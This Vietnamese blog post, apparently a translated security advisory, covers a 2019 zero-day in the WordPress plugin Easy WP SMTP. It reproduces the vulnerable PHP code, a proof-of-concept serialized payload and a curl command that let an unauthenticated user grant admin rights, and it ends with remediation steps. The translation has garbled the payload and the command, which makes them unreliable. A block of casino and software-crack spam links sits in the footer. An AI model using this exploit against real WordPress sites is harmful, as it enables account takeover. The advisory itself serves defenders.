lexuanhao.com
  • Hướng Dẫn Về Control Panel
    • Tất cả
    • Hướng dẫn sử dụng aaPanel
    • Hướng dẫn sử dụng Cloudflare
    • Hướng dẫn sử dụng cPanel
    • Hướng dẫn sử dụng Cyber Panel
    • Hướng dẫn sử dụng Direct Admin
    • Hướng dẫn sử dụng TinoVPS SCRIPT
    • Hướng dẫn sử dụng XVPS
    Ucscreenshot20230717180422

    Cài đặt SSL cho Domain Pointer Direct Admin

    Ucscreenshot20230604180536

    Cách sửa lỗi “Can’t acquire lock for app” trên NodeJS của cPanel.

    Pasted

    Khắc phục lỗi “Computer or server time out of sync by XX.XX hours.”

    Pasted

    Cài SSL miễn phí cho WordPress Multisite trên cPanel

    Pasted

    Hướng dẫn thay đổi Logo trên Direct Admin Version 1.6

    Pasted

    Hướng dẫn cấu hình Rclone sao lưu dữ liệu lên Google Drive cho Cyber Panel.

    Pasted

    Thêm chuyển hướng cho tên miền phụ (Redirect Subdomain) trên cPanel

    Pasted

    Hướng dẫn cài đặt NodeJS trên cPanel

    Pasted

    Cài đặt ứng dụng lavarel trên CyberPanel

    Pasted

    Khắc phục lỗi không thể ghi do sai quyền, hoặc lỗi không đúng Permissions trên CyberPanel

    • Hướng dẫn sử dụng aaPanel
    • Hướng dẫn sử dụng Direct Admin
    • Hướng dẫn sử dụng Cloudflare
    • Hướng dẫn sử dụng cPanel
    • Hướng dẫn sử dụng Cyber Panel
    • Hướng dẫn sử dụng HOCVPS SCRIPT
    • Hướng dẫn sử dụng LarVPS SCRIPT
    • Hướng dẫn sử dụng TinoVPS SCRIPT
    • Hướng dẫn sử dụng VestaCP
    • Hướng dẫn sử dụng VPSSIM SCRIPT
    • Hướng dẫn sử dụng XVPS
  • Hướng Dẫn Sử Dụng Dịch Vụ
    • Tất cả
    • Hướng Dẫn Email Server
    • Hướng Dẫn Tên Miền
    • Hướng Dẫn Về Chứng Chỉ SSL
    Pasted

    Hướng dẫn xác thực chứng chỉ SSL và cài đặt SSL trả phí

    Pasted

    Đồng bộ Email từ Server này sang Server khác với ImapSync Client

    Pasted

    Cài đặt chứng chỉ SSL miễn phí từ ZEROSSL

    Pasted

    Mẫu bản khai đăng ký tên miền Việt Nam tại TinoHost.

    Whois Protect La Gi

    Whois Protect là gì ?

    Pasted

    Cách kiểm tra DNS của tên miền

    Pasted

    Cách kiểm tra thời hạn và thông tin của tên miền

    Pasted

    Hướng dẫn chủ động chuyển Email từ máy chủ cũ sang máy chủ Email mới bằng Mailbox Imapsync Online

    Pasted

    Hướng dẫn sử dụng Email Routing của CloudFlare

    Cách tạo email theo tên miền riêng doanh nghiệp miễn phí với Tinohost

    • Hướng Dẫn Email Server
    • Hướng Dẫn Tên Miền
    • Hướng Dẫn Về Chứng Chỉ SSL
    • Hướng dẫn về Google Service
  • Hướng Dẫn Về CMS
    • Tất cả
    • Hướng Dẫn Về WordPress
    Pasted

    Thao tác quản trị tên miền trên TinoHost

    Vòng đời của tên miền .vn (Tên Mn)

    Vòng đời của tên miền .vn (Tên miền quốc gia)

    Pasted

    Lỗi 404 trang giỏ hàng, thanh toán của Woocommerce

    Pasted

    Khắc phục lỗi 421 Too many connections from this IP trên FileZilla

    Pasted

    Khai thác ETC+ZIL thay thế cho ETH, khi ETH ngừng khai thác bằng GPU.

    Pasted

    Truy cập website “nào đó” đã bị chặn tại Local của bạn hoặc IP của bạn bị chặn

    Pasted

    Kích thước ảnh bìa nhóm (group) Facebook là bao nhiêu ?

    Pasted

    Thêm chuyển hướng bằng tệp tin .htaccess

    Pasted

    Cách kích hoạt Hardware Accelerated GPU Scheduling trong Windows 11

    Pasted

    Cấu hình .my.cnf để sử dụng mysqldump không cần nhập lại thông tin tài khoản và mật khẩu mysql

    • Hướng Dẫn Về WordPress
  • Hướng Dẫn Về Hệ Điều Hành
    • Tất cả
    • Hướng Dẫn Về Windows
    Ezgif.com Gif Maker

    Cách cài đặt Live Wallpaper (Cài hình nền động) trên Windows

    • Hướng Dẫn Về Windows
    • Hướng Dẫn Về Linux
    • Hướng Dẫn Về Ubuntu
DI LINH GROUP BLOGS
  • Hướng Dẫn Về Control Panel
    • Tất cả
    • Hướng dẫn sử dụng aaPanel
    • Hướng dẫn sử dụng Cloudflare
    • Hướng dẫn sử dụng cPanel
    • Hướng dẫn sử dụng Cyber Panel
    • Hướng dẫn sử dụng Direct Admin
    • Hướng dẫn sử dụng TinoVPS SCRIPT
    • Hướng dẫn sử dụng XVPS
    Ucscreenshot20230717180422

    Cài đặt SSL cho Domain Pointer Direct Admin

    Ucscreenshot20230604180536

    Cách sửa lỗi “Can’t acquire lock for app” trên NodeJS của cPanel.

    Pasted

    Khắc phục lỗi “Computer or server time out of sync by XX.XX hours.”

    Pasted

    Cài SSL miễn phí cho WordPress Multisite trên cPanel

    Pasted

    Hướng dẫn thay đổi Logo trên Direct Admin Version 1.6

    Pasted

    Hướng dẫn cấu hình Rclone sao lưu dữ liệu lên Google Drive cho Cyber Panel.

    Pasted

    Thêm chuyển hướng cho tên miền phụ (Redirect Subdomain) trên cPanel

    Pasted

    Hướng dẫn cài đặt NodeJS trên cPanel

    Pasted

    Cài đặt ứng dụng lavarel trên CyberPanel

    Pasted

    Khắc phục lỗi không thể ghi do sai quyền, hoặc lỗi không đúng Permissions trên CyberPanel

    • Hướng dẫn sử dụng aaPanel
    • Hướng dẫn sử dụng Direct Admin
    • Hướng dẫn sử dụng Cloudflare
    • Hướng dẫn sử dụng cPanel
    • Hướng dẫn sử dụng Cyber Panel
    • Hướng dẫn sử dụng HOCVPS SCRIPT
    • Hướng dẫn sử dụng LarVPS SCRIPT
    • Hướng dẫn sử dụng TinoVPS SCRIPT
    • Hướng dẫn sử dụng VestaCP
    • Hướng dẫn sử dụng VPSSIM SCRIPT
    • Hướng dẫn sử dụng XVPS
  • Hướng Dẫn Sử Dụng Dịch Vụ
    • Tất cả
    • Hướng Dẫn Email Server
    • Hướng Dẫn Tên Miền
    • Hướng Dẫn Về Chứng Chỉ SSL
    Pasted

    Hướng dẫn xác thực chứng chỉ SSL và cài đặt SSL trả phí

    Pasted

    Đồng bộ Email từ Server này sang Server khác với ImapSync Client

    Pasted

    Cài đặt chứng chỉ SSL miễn phí từ ZEROSSL

    Pasted

    Mẫu bản khai đăng ký tên miền Việt Nam tại TinoHost.

    Whois Protect La Gi

    Whois Protect là gì ?

    Pasted

    Cách kiểm tra DNS của tên miền

    Pasted

    Cách kiểm tra thời hạn và thông tin của tên miền

    Pasted

    Hướng dẫn chủ động chuyển Email từ máy chủ cũ sang máy chủ Email mới bằng Mailbox Imapsync Online

    Pasted

    Hướng dẫn sử dụng Email Routing của CloudFlare

    Cách tạo email theo tên miền riêng doanh nghiệp miễn phí với Tinohost

    • Hướng Dẫn Email Server
    • Hướng Dẫn Tên Miền
    • Hướng Dẫn Về Chứng Chỉ SSL
    • Hướng dẫn về Google Service
  • Hướng Dẫn Về CMS
    • Tất cả
    • Hướng Dẫn Về WordPress
    Pasted

    Thao tác quản trị tên miền trên TinoHost

    Vòng đời của tên miền .vn (Tên Mn)

    Vòng đời của tên miền .vn (Tên miền quốc gia)

    Pasted

    Lỗi 404 trang giỏ hàng, thanh toán của Woocommerce

    Pasted

    Khắc phục lỗi 421 Too many connections from this IP trên FileZilla

    Pasted

    Khai thác ETC+ZIL thay thế cho ETH, khi ETH ngừng khai thác bằng GPU.

    Pasted

    Truy cập website “nào đó” đã bị chặn tại Local của bạn hoặc IP của bạn bị chặn

    Pasted

    Kích thước ảnh bìa nhóm (group) Facebook là bao nhiêu ?

    Pasted

    Thêm chuyển hướng bằng tệp tin .htaccess

    Pasted

    Cách kích hoạt Hardware Accelerated GPU Scheduling trong Windows 11

    Pasted

    Cấu hình .my.cnf để sử dụng mysqldump không cần nhập lại thông tin tài khoản và mật khẩu mysql

    • Hướng Dẫn Về WordPress
  • Hướng Dẫn Về Hệ Điều Hành
    • Tất cả
    • Hướng Dẫn Về Windows
    Ezgif.com Gif Maker

    Cách cài đặt Live Wallpaper (Cài hình nền động) trên Windows

    • Hướng Dẫn Về Windows
    • Hướng Dẫn Về Linux
    • Hướng Dẫn Về Ubuntu
lexuanhao.com

Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP

LÊ XUÂN HẢO được viết và chém gió bởi LÊ XUÂN HẢO
20/03/2019
trong chuyên mục Hướng Dẫn Về WordPress
0 0
0
0
CHIA SẺ
122
LƯỢT XEM
Chia sẻ lên FacebookChia sẻ qua EmailChia sẻ qua Twitter

MỤC LỤC NỘI DUNG

  1. Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP
  2. Bằng chứng của khái niệm trên
  3. Dấu thời gian
  4. khuyến nghị

Lỗ hổng zero-day nghiêm trọng trong plugin WordPress Easy WP SMTP

Plugin Easy WP SMTP phổ biến , với hơn 300.000 cài đặt hoạt động, dễ bị lỗ hổng zero-day nghiêm trọng cho phép người dùng không được xác thực sửa đổi các tùy chọn WordPress hoặc tiêm và thực thi mã trong số các hành động độc hại khác.

Lỗ hổng, được tìm thấy trong phiên bản v1.3.9, đã bị tin tặc khai thác kể từ ít nhất là ngày 15 tháng 3 và đã bị bắt bởi Tường lửa ứng dụng web cho WordPress, NinjaFirewall (Phiên bản WP) .

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
		 add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
		 add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
	}

	//view log file
	if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
	    if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
		$log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
		if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
		    if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
			wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
		    };
		}
		$logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
		if ( ! $logfile ) {
		    wp_die( 'Can\'t open log file.' );
		}
		header( 'Content-Type: text/plain' );
		fpassthru( $logfile );
		die;
	    }
	}

	//check if this is export settings request
	$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_export_settings ) {
	    $data					 = array();
	    $opts					 = get_option( 'swpsmtp_options', array() );
	    $data[ 'swpsmtp_options' ]		 = $opts;
	    $swpsmtp_pass_encrypted			 = get_option( 'swpsmtp_pass_encrypted', false );
	    $data[ 'swpsmtp_pass_encrypted' ]	 = $swpsmtp_pass_encrypted;
	    if ( $swpsmtp_pass_encrypted ) {
		$swpsmtp_enc_key		 = get_option( 'swpsmtp_enc_key', false );
		$data[ 'swpsmtp_enc_key' ]	 = $swpsmtp_enc_key;
	    }
	    $smtp_test_mail			 = get_option( 'smtp_test_mail', array() );
	    $data[ 'smtp_test_mail' ]	 = $smtp_test_mail;
	    $out				 = array();
	    $out[ 'data' ]			 = serialize( $data );
	    $out[ 'ver' ]			 = 1;
	    $out[ 'checksum' ]		 = md5( $out[ 'data' ] );

	    $filename = 'easy_wp_smtp_settings.txt';
	    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
	    header( 'Content-Type: text/plain' );
	    echo serialize( $out );
	    exit;
	}

	$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_import_settings ) {
		 $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
		 if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
			echo $err_msg;
			wp_die();
		}
		$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
		try {
			$in = unserialize( $in_raw );
			if ( empty( $in[ 'data' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( empty( $in[ 'checksum' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
				 echo $err_msg;
				 wp_die();
			}
			$data = unserialize( $in[ 'data' ] );
			foreach ( $data as $key => $value ) {
				 update_option( $key, $value );
			}
			set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
			$url = admin_url() . 'options-general.php?page=swpsmtp_settings';
			wp_safe_redirect( $url );
			exit;
		} catch ( Exception $ex ) {
			echo $err_msg;
			wp_die();
		}
	}
}

Hàm trên admin_init(), từ easy-wp-smtp.phptập lệnh, được chạy qua admin_inithook khi người dùng truy cập vào khu vực quản trị. Nó được sử dụng để xem / xóa nhật ký, nhập / xuất cấu hình plugin và cập nhật các tùy chọn trong cơ sở dữ liệu WordPress. Nó không kiểm tra khả năng của người dùng, do đó bất kỳ người dùng nào đã đăng nhập, như người đăng ký, đều có thể kích hoạt nó. Tuy nhiên nó cũng có thể được thực thi bởi người dùng chưa được xác thực, bởi vì Plugin Easy WP SMTP sử dụng AJAX và admin_inithook cũng chạy trên admin-ajax.php như được chỉ ra trong tài liệu API WordPress:

“Lưu ý, điều này không chỉ chạy trên màn hình quản trị người dùng. Nó cũng chạy trên admin-ajax.php và admin-post.php.”

Do đó, người dùng không được xác thực có thể gửi yêu cầu AJAX, ví dụ action=swpsmtp_clear_log, để kích hoạt chức năng trên và thực thi mã của nó.

Bằng chứng của khái niệm trên

Trong bằng chứng khái niệm sau đây, mình sẽ sử dụng swpsmtp_import_settingsđể tải lên một tệp sẽ chứa một payload nối tiếp độc hại sẽ cho phép người dùng đăng ký ( users_can_register) và đặt vai trò mặc định của người dùng ( default_role) cho quản trị viên của người dùng trong cơ sở dữ liệu.

1. Tạo một tên tập tin / tmp / upload.txt và thêm nội dung này vào đó:

a: 2: {s: 4: "data"; s: 81: "a: 2: {s: 18:" users_can_register "; s: 1:" 1 "; s: 12:" default_role "; s: 13 : "admin";} "; s: 8:" checksum "; s: 32:" 3ce5fb6d7b1dbd6252f4b5b3526650c8 ";}

2. Tải tệp lên:

$ curl https://fornewbie.net/wp-admin/admin-ajax.php -F 'action = swpsmtp_clear_log' -F 'swpsmtp_import_sinstall = 1' -F 'swpsmtp_import_sinstall_file=@tup

Các lỗ hổng khác có thể bị khai thác như:

  • Thực thi mã từ xa thông qua PHP Object Injection vì với Easy WP SMTP sử dụng các unserialize()cách gọi không an toàn .
  • Xem / xóa nhật ký (hoặc bất kỳ tệp nào, vì tin tặc có thể thay đổi tên tệp nhật ký).
  • Xuất cấu hình plugin bao gồm máy chủ SMTP, tên người dùng và mật khẩu và sử dụng nó để gửi email spam.

Điều thú vị là tất cả các nỗ lực bị bắt bởi tường lửa cho thấy tin tặc đã cố gắng khai thác lỗ hổng để thay đổi nội dung của wp_user_rolestùy chọn WordPress trong cơ sở dữ liệu và cung cấp khả năng quản trị viên cho tất cả người dùng. Không giống như tạo tài khoản quản trị viên, có thể dễ dàng phát hiện trong phần Người dùng WordPress, việc thay đổi khả năng hầu như không đáng chú ý, tức là, một người dùng đơn giản sẽ tiếp tục xuất hiện dưới dạng người dùng đơn giản nhưng sẽ có thể làm mọi thứ mà quản trị viên có thể làm. ( Có thể hiểu như bạn không phải vua nhưng làm được mọi thứ mà vua làm, việc chèn các Script hay thao tác vấn đề về việc leo thang vai trò người dùng, hoặc thậm chí là vô hiệu hóa user ADMIN là điều hoàn toàn đơn giản. )

Dấu thời gian

Một phiên bản mới 1.3.9.1 đã được phát hành vào ngày 17 tháng 3. Đã sửa lỗi dễ bị tấn công trong cài đặt nhập \ xuất  được phát hành và bạn có thể tải cũng như cập nhật mới.

khuyến nghị

Cập nhật càng sớm càng tốt nếu bạn vẫn đang chạy phiên bản 1.3.9 thì có thể cập nhật mới => Tại Đây

Nếu bạn đang sử dụng tường lửa ứng dụng web cho WordPress, NinjaFirewall WP Edition (miễn phí) và NinjaFirewall WP + Edition (cao cấp), bạn sẽ được bảo vệ chống lại lỗ hổng này.

Nếu bạn đang sử dụng phiên bản dễ bị xâm hại của Easy WP SMTP, đây là một số đề xuất bổ sung (danh sách có thể không đầy đủ với kiến thức hạn hẹp ):

  • Kiểm tra Cài đặt WordPress của bạn > Trang General : Đảm bảo không có gì bị giả mạo (URL, Địa chỉ email, Tư cách thành viên và Vai trò mặc định của người dùng mới).
  • Kiểm tra trang WordPress của người dùng WordPress của bạn: Tìm kiếm người dùng mới, tài khoản quản trị lạ, kiểm tra địa chỉ email quản trị viên, v.v.
  • Thay đổi tất cả mật khẩu.
  • Kiểm tra bảng WordPress wp_options* của bạn trong cơ sở dữ liệu.: Đảm bảo wp_user_roles* , chứa các vai trò và khả năng của người dùng, đã không bị giả mạo. Bạn cũng có thể sử dụng NinjaScanner miễn phí của chúng tôi cho WordPress .
  • Quét các tập tin của bạn quá, tin tặc có thể đã tải lên backreen.
  • Thay đổi mật khẩu SMTP của bạn, tin tặc có thể đã đánh cắp nó.

Nếu bạn đã thay đổi tiền tố cơ sở dữ liệu WordPress của mình, hãy thay thế wp_bằng tiền tố chính xác. Have fun 🙂

The content of : NinjaFirewall WP Edition ©

Liên quan đến bài đăng

Pasted
Hướng Dẫn Về WordPress

Thao tác quản trị tên miền trên TinoHost

được viết và chém gió bởi LÊ XUÂN HẢO
29/12/2022
169
Vòng đời của tên miền .vn (Tên Mn)
Hướng Dẫn Về WordPress

Vòng đời của tên miền .vn (Tên miền quốc gia)

được viết và chém gió bởi LÊ XUÂN HẢO
20/10/2022
43
Pasted
Hướng Dẫn Về WordPress

Lỗi 404 trang giỏ hàng, thanh toán của Woocommerce

được viết và chém gió bởi LÊ XUÂN HẢO
19/10/2022
48
Pasted
Hướng Dẫn Về WordPress

Khắc phục lỗi 421 Too many connections from this IP trên FileZilla

được viết và chém gió bởi LÊ XUÂN HẢO
20/10/2022
66
Xem thêm

Logolxh

© 2019 | LEXUANHAODOTCOM. ALL RIGHT RESERVED

HOCVIENCRYPTO.ORG  |  NGUOIDILINH.COM  |  CHECKSCAMHOMESTAY.ORG  |  HOMESTAYLAMDONG.COM

DMCA.com Protection Status

Xin Chào !

Đăng nhập vào tài khoản của bạn bên dưới

Đã quên mật khẩu?

Truy xuất mật khẩu của bạn

Vui lòng nhập tên người dùng hoặc địa chỉ email của bạn để đặt lại mật khẩu của bạn.

Đăng nhập
RocketplayRocketplay casinoCasibom GirişJojobet GirişCasibom Giriş GüncelCasibom Giriş AdresiCandySpinzDafabet AppJeetwinRedbet SverigeViggoslotsCrazyBuzzer casinoCasibomJettbetKmsauto DownloadKmspico ActivatorSweet BonanzaCrazy TimeCrazy Time AppPlinko AppSugar rush
  • Đăng nhập
  • Hướng Dẫn Về Control Panel
    • Hướng dẫn sử dụng aaPanel
    • Hướng dẫn sử dụng Direct Admin
    • Hướng dẫn sử dụng Cloudflare
    • Hướng dẫn sử dụng cPanel
    • Hướng dẫn sử dụng Cyber Panel
    • Hướng dẫn sử dụng HOCVPS SCRIPT
    • Hướng dẫn sử dụng LarVPS SCRIPT
    • Hướng dẫn sử dụng TinoVPS SCRIPT
    • Hướng dẫn sử dụng VestaCP
    • Hướng dẫn sử dụng VPSSIM SCRIPT
    • Hướng dẫn sử dụng XVPS
  • Hướng Dẫn Sử Dụng Dịch Vụ
    • Hướng Dẫn Email Server
    • Hướng Dẫn Tên Miền
    • Hướng Dẫn Về Chứng Chỉ SSL
    • Hướng dẫn về Google Service
  • Hướng Dẫn Về CMS
    • Hướng Dẫn Về WordPress
  • Hướng Dẫn Về Hệ Điều Hành
    • Hướng Dẫn Về Windows
    • Hướng Dẫn Về Linux
    • Hướng Dẫn Về Ubuntu

© LeXuanHao.com . All Right Reserved. Powered by Di Linh Group Team.